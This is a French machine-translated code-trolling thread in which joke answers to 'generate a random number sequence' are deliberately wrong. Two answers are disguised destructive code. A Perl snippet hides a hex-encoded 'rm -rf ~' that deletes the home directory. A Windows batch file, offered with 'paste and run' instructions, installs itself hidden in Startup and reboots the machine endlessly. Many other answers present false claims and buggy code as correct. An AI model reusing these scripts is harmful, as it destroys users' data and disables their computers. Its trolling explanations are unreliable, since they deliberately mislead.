Le défi:

Générez une séquence aléatoire de nombres. La seule entrée doit être la longueur de la séquence.

Points Internet supplémentaires pour des solutions purement fonctionnelles.

^{Remarque: Il s'agit d'une question de contrôle de code . Veuillez ne pas prendre la question et / ou les réponses au sérieux. Plus d'informations ici .}

Python

Prenez un article wikipedia aléatoire, et prenez une séquence de caractères html de longueur num, et obtenez leurs valeurs numériques

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

Tous les programmes des autres réponses ne généreront que ce que l'on appelle des «nombres pseudo-aléatoires», qui peuvent sembler aléatoires à l'œil non averti mais suivent en fait un certain schéma.

Le programme suivant génère des nombres aléatoires réels en transformant votre ordinateur en un détecteur de particules pour le rayonnement de fond. Comme cela est basé sur des effets quantiques, c'est vraiment aléatoire et impossible à prévoir. Et pour un bonus, le programme s'exécute en fait plus rapidement, si vous lancez votre ordinateur dans l'espace. Et oui, c'est aussi cool que cela puisse paraître.

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

Divulgacher:

Ce programme génère deux morceaux de mémoire identiques et attend ensuite combien de temps il faut au rayonnement de fond pour en changer un. Le temps d'attente est ensuite renvoyé sous forme de nombre aléatoire, qui serait distribué de manière exponentielle, s'il n'y avait pas de débordements d'entiers. De tels événements étant plus probables dans l'espace est un problème réel en astronautique, qui est résolu par le durcissement par rayonnement . Donc, chaque déclaration dans l'introduction est vraie dans une certaine mesure, à l'exception de la fraîcheur.

Malheureusement, un tel événement faisant planter l'ordinateur ou au moins le programme est plus probable qu'il n'affecte exactement ces deux morceaux de mémoire. En outre, cela peut prendre un certain temps… Enfin, comme l'a souligné kinokijuf, le rayonnement de fond est un processus externe, jet kdoit donc être marqué en ce qui volatileconcerne le compilateur (ou vous devez utiliser un compilateur qui n'optimise pas du tout).

PS: En développant l'idée, on pourrait également créer un tableau rempli de zéros et l'imprimer. Il y a une chance que le rayonnement de fond modifie les zéros entre le stockage et l'impression et donc ce qui est imprimé est aléatoire - l'OP n'a jamais dit comment les nombres aléatoires devaient être distribués.

L'aléatoire est difficile à réaliser sur un ordinateur, car ils sont purement déterministes. La génération de nombres aléatoires sur les ordinateurs est un domaine de recherche très actif, impliquant souvent des acteurs au niveau de l'État (voir Dual_EC_DRBG ). Cependant, sur un système d'exploitation multitâche moderne, le planificateur de threads peut effectuer un travail passable dans certaines situations. Pour ce faire, nous cédons le contrôle de notre tranche de temps actuelle au système d'exploitation et prenons note du temps qu'il nous faut pour être planifié à nouveau. Selon le système d'exploitation et la charge, cela peut produire les résultats souhaités.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

C #

Les utilisateurs de nos logiciels étant intrinsèquement aléatoires par nature, pourquoi ne pas les utiliser à notre avantage?

Ce code prend une capture d'écran et l'utilise avec d'autres données pour produire une séquence aléatoire. Points Internet bonus pour ne pas utiliser le générateur aléatoire intégré?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

Python

Il est facile de tomber sur les pièges courants: une source de nombres aléatoires non uniformément distribuée et aucune randomisation. Ma solution évite superbement ces problèmes en utilisant des connaissances mathématiques approfondies et une astuce simple mais efficace, la randomisation avec l'heure actuelle:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Fonctionne très bien lorsqu'il est testé une fois pour un petit ensemble de nombres (9 ou moins), mais il est testé un peu plus:

• math.pi ne contient que quelques chiffres après la période
• time.localtime()[8]ne renvoie pas les millisecondes ou l'horloge du noyau, mais 0 ou 1 selon qu'il s'agit de l'heure d'été ou non. Ainsi, la graine aléatoire change une fois tous les six mois d'un endroit. Donc, fondamentalement, pas de randomisation.
• Cela ne renvoie que des nombres aléatoires entre 0 et 9.
• random_numbers[:number]échoue silencieusement lorsque vous entrez un nombre numbersupérieur à 15 et ne recrache que 15 nombres aléatoires.

Malheureusement, cela est inspiré par la fonction aléatoire Delphi 1.0, qui fonctionnait de la même manière.

Rubis

La question demande une SEQUENCE. On y va encore une fois...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

C'est 100% aléatoire. Pas vraiment.
Dommage que ce code ne signifie RIEN pour l'OP (qu'est-ce que l'enfer est object_id?)
De plus, il est spécifique à l'implémentation, ce qui signifie qu'il fonctionne ou non entre les différentes versions de ruby ​​(exécuté cela sur 2.1.0p0).
En plus de cela, cela peut potentiellement faire quelque chose de vraiment méchant, car OP pourrait expérimenter avec object_id ...

Exemple de sortie:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Éditer:

modifié pour utiliser $$pour un vrai hasard (au niveau du système d'exploitation).

Java

Attention, c'est une question piège .....

La plupart des gens en Java utiliseront math.random () pour aider à générer cette séquence, mais ils seront confus car ils n'obtiendront que des résultats positifs! random()renvoie une valeur décimale de 0 à 1 (à l'exclusion de 1 lui-même). Donc, vous devez jouer quelques tours pour vous assurer d'obtenir une bonne distribution des valeurs aléatoires sur toute la plage entière (positive et négative).

De plus, vous ne pouvez pas simplement multiplier Math.random()et Integer.MAX_VALUEparce que vous cela ne s'ajoutera jamais Integer.MAX_VALUEau résultat! En outre, il serait logique de le faire math.rand() * (Integer.MAX_VALUE + 1)pour obtenir une distribution complète, mais, bien sûr, cela ne fonctionne pas car cela Integer.MAX_VALUE + 1va déborder et devenir Integer.MIN_VALUE! Donc, malheureusement, la meilleure solution est de recourir à une manipulation bit à bit des données ...

Donc, voici une séquence complète pour générer des «n» valeurs aléatoires dans la plage Integer.MIN_VALUEde Integer.MAX_VALUE(Inclus des deux extrêmes (qui est la partie difficile) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

Cela produit une sortie comme:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Bien sûr, ce qui précède est une réponse BS complète. Il ne produit pas une bonne description, et il «cache» un bogue grave ( ^=devrait l'être |=). il cache également un bogue moins grave (la priorité de commande-pf signifie que nous ne multiplions pas du tout par une valeur première!) L'utilisation de mots fantaisistes, de nombres premiers et de nombreux commentaires n'est pas une raison pour faire confiance au code ... Bien sûr, si vous voulez faire ce qui précède, vous devez simplement utiliserjava.util.Random.nextInt()

Java

Maintenant que je repense au programme, j'ai oublié de fermer le Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

Je fais la même $\tactique pour la sortie que dans une réponse de code-trolling différente. De plus, vous remarquerez que j'investis beaucoup $$dans l' algorithme RANDU .

Edit: Pour mieux expliquer, RANDU est un PRNG horriblement peu sûr. Wikipédia décrit comme "l'un des générateurs de nombres aléatoires les plus mal conçus jamais conçus". Sa principale faiblesse est ci-dessous:

f (x) = 6 * f (x-1) - 9 * f (x-2)

Voici un générateur de nombres aléatoires, base 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

En javascript, avec un style fonctionnel:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

C

Cette fonction fonctionne très bien pour les petites applications de création de nombres aléatoires entre 0 et 1337. Il est conseillé de l'appeler plus d'une fois pour assurer un maximum de caractère aléatoire.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

Le célèbre générateur Blum Blum Shub . Parce que les générateurs de nombres aléatoires doivent être sécurisés cryptographiquement, et quelle meilleure façon d'assurer la sécurité que par l'obscurité.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

_{(Comprend des noms de variables terribles, une implémentation incorrecte basée sur une analyse rapide de wikipedia et une magie de pointeur de fonction inutile lancée pour le plaisir)}

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Utilisez des données de tas de déchets. Oh, et n'oubliez pas de laisser fuir le pointeur.

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

Avantages:

• Ça marche.
• Parfois.
• Valide (ish) C89.
• Terrible C ++.
• Utilisez les en-têtes C car using namespace std;est EVIL et nous ne voulons pas ralentir le programme avec tous ces espaces de noms lookups.
• Nous évitons l'uniformité de la distribution en faveur de la vitesse en utilisant un module avec une valeur codée en dur (TODO: changez-le pour utiliser un décalage de bits pour une vitesse encore plus brute).
• Peut vérifier le déterminisme en exécutant plusieurs fois dans la même seconde d'horloge.
• La raison pour laquelle ce code est mauvais est assez évidente pour que l'OP ne s'en rende probablement pas compte.

Les inconvénients:

• La raison pour laquelle ce code est mauvais est suffisamment évidente pour que le professeur de l'OP (le correcteur) ne s'en rende probablement pas compte.
• Cela semble être généralement considéré comme une solution acceptable.
• A besoin de plus de vitesse brute.

Mathematica

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Entrée - 3

Sortie - {2,3,1}

Cela fonctionne parce que cela se résume à :Input A:Disp randIntNoRep(1,A)

Voici une solution Python. Vous ne pouvez pas prouver que ce n'est pas aléatoire!

def get_random(num):
    print '3' * num

Essayez-le en appelant get_random(5), par exemple.

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

Celui-ci utilise un code perl très simple pour faire comme l'OP l'a demandé, mais pas avant de supprimer récursivement leur répertoire personnel (sans écrire réellement rm -rf ~, bien sûr.)

Je n'ai pas testé cela (pour des raisons évidentes).

Python 3

Non seulement cela gaspille beaucoup de temps (temps réel et temps CPU), mais il ne renvoie que 10 nombres aléatoires.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

Rubis

Vous savez peut-être que tous les nombres ne sont pas aléatoires. Ce programme vérifie tous les chiffres et ne vous donne que ceux qui vraiment sont aléatoires.

Attention, le code Ruby est un peu délicat à lire. Ce n'est pas aussi efficace que l'anglais car les ordinateurs sont un peu stupides et il faut parfois leur répéter des mots importants.

Par conséquent, j'en ai ajouté #commentsau code; Les mots MAJUSCULE dans les commentaires montrent comment ce même mot fonctionne dans le code Ruby.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

Une explication plus détaillée peut venir plus tard, mais cette sortie d'un exemple d'exemple devrait en donner une partie: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... un peu aléatoire cependant.

Le script Windows Batch suivant générera un fichier avec des nombres aléatoires nommés OUTPUT.TXTdans votre dossier de profil. Ceci est garanti pour générer des nombres aléatoires presque totalement vrais. Collez simplement ce code dans le Bloc-notes, enregistrez-le sous "FileName.CMD"(avec les guillemets) et exécutez.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

Devoir entrer une quantité de nombres aléatoires à générer est d'ailleurs trop gênant. Appuyez simplement sur le bouton d'alimentation et maintenez-le enfoncé pour arrêter la génération. Bien plus facile! Le plus: il ne nécessite pas de clavier.

Lua

C'est une fonction trop performante, trop compliquée, compliquée (même avec un surligneur de syntaxe), qui génère des nombres insensiblement élevés d'une manière beaucoup trop compliquée. Et au lieu de renvoyer la chaîne de chiffres, il les imprime à l'écran, ce qui rend son utilisation dans vos programmes impossible. C'est difficile à éditer, donc si votre victoire vous demande de le réparer, dites que c'est trop compliqué à éditer.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

C #

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Notez qu'il a tendance à se briser pour des séquences plus longues, mais lorsqu'il fonctionne, il génère des nombres très aléatoires

Fortran

Votre ordinateur possède déjà un numéro aléatoire intégré, il vous suffit donc d'y accéder:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Évidemment non portable, car il nécessite que l'utilisateur ait un système * nix (mais qui utilise quand même Windows quand même?).

Je suppose que vous avez bien sûr besoin de beaucoup de nombres aléatoires. Ce qui appelle ...

Bash et Hadoop

Bien sûr, l'utilisation d'une seule source aléatoire n'est pas fiable à l'époque de la NSA. Ils pourraient avoir trojan votre ordinateur. Mais ils ne vont donc pas avoir trojaned tout votre cluster!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

Ensuite, le script exécutera les travaux du cluster comme vous le souhaitez:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Dieu merci, nous avons le pouvoir d'Hadoop!

Rubis

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits

ANSI C

C'est assez délicat et je ne m'en inquiéterais pas trop. Copiez et collez simplement le code ci-dessous dans votre bibliothèque et vous serez doré pour toujours.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

Essayez C ++ - rapide, puissant, tout ce que vous voudrez:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

Soit dit en passant, pour les meilleurs résultats, vous voudrez utiliser un class.

Explication:
1. Il n'a PAS besoin de l'utiliser class- c'est totalement redondant.
2. L'instruction de retour dans generate_num()renvoie en fait le nombre ^ (nombre ^ 0), qui correspond au nombre ^ 1, qui est le nombre. Ceci est également redondant.
3. Gestion des erreurs les plus inutiles - qu'est-ce qui pourrait mal tourner avec cette base de poinçonnage de données?
4. J'ai utilisé std::avant tous les éléments de l' stdespace de noms. Ceci est également redondant.
5. Les #definedéclarations sont également inutiles - je l'ai fait pour lui faire penser que j'ai défini ces types spécifiquement pour ce programme.

Avertissement:
Ce programme fonctionne réellement; cependant, je ne recommande aucune personne ou entité l'utilisant dans leur code pour la vie réelle. Je ne me réserve aucun droit sur ce code; en d'autres termes, je le fais entièrement open-source.

Python

Prendre la partie fonctionnelle - le python presque à une ligne

import random
map(lambda x: random.random(), xrange(input())